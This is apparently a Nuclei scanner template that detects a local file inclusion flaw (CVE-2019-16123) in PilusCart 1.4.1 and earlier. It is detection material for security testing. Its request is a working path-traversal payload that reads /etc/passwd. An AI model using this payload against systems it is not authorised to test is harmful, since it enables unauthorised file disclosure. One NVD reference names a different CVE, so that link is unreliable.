id: CVE-2019-16123

info:
  name: PilusCart <=1.4.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    PilusCart versions 1.4.1 and prior suffer from a file disclosure vulnerability via local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
  remediation: |
    Upgrade to a patched version of PilusCart (>=1.4.2) or apply the vendor-supplied patch to mitigate the LFI vulnerability.
  reference:
    - https://packetstormsecurity.com/files/154250/PilusCart-1.4.1-Local-File-Disclosure.html
    - https://www.exploit-db.com/exploits/47315
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1653
    - https://zerodays.lol/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-16123
    cwe-id: CWE-22
    epss-score: 0.16484
    epss-percentile: 0.96666
    cpe: cpe:2.3:a:kartatopia:piluscart:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kartatopia
    product: piluscart
  tags: cve,cve2019,piluscart,lfi,packetstorm,edb,kartatopia,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/catalog.php?filename=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a00463044022017eea2c9c01627336911e63430bb21bfe78eb12540c9089af072de642e1eb6a5022058ef79c2e5f348a4e848545e5af32af4f011dafc2f327b8b45e43d47a571da37:922c64590222798bb761d5b6d8e72950